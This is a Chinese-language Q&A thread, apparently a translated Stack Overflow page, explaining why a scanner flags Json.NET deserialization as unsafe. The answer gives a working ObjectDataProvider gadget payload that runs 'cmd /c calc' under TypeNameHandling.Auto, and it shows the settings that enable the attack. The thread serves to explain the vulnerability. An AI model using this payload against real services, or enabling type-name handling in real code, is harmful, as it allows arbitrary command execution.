use*_*946 8 c# security json.net
静态安全扫描器在这一行标记了我的 C# 代码:
var result = JsonConvert.DeserializeObject<dynamic>(response);
Run Code Online (Sandbox Code Playgroud)
response 将包含来自 Web API 的 JSON 响应。
扫描程序将此标记为“不安全的反序列化”。
有人可以帮助我了解如何利用它吗?Web 示例并不清楚漏洞利用是否可以在DeserializeObject方法本身内发生,或者仅在反序列化之后发生。
Art*_*tur 14
尝试反序列化这个 json:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": [ "cmd", "/c calc" ]
},
"ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}
Run Code Online (Sandbox Code Playgroud)
用这个代码
dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
Run Code Online (Sandbox Code Playgroud)
它将打开 Windows 计算器应用程序。可以运行任何可执行文件或脚本的方式相同。如果您使用object代替dynamic或非通用DeserializeObject方法,问题也仍然存在。请注意,如果您不设置TypeNameHandling = TypeNameHandling.Auto其他人可以像这样设置全局设置:
JsonConvert.DefaultSettings = () =>
new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};
Run Code Online (Sandbox Code Playgroud)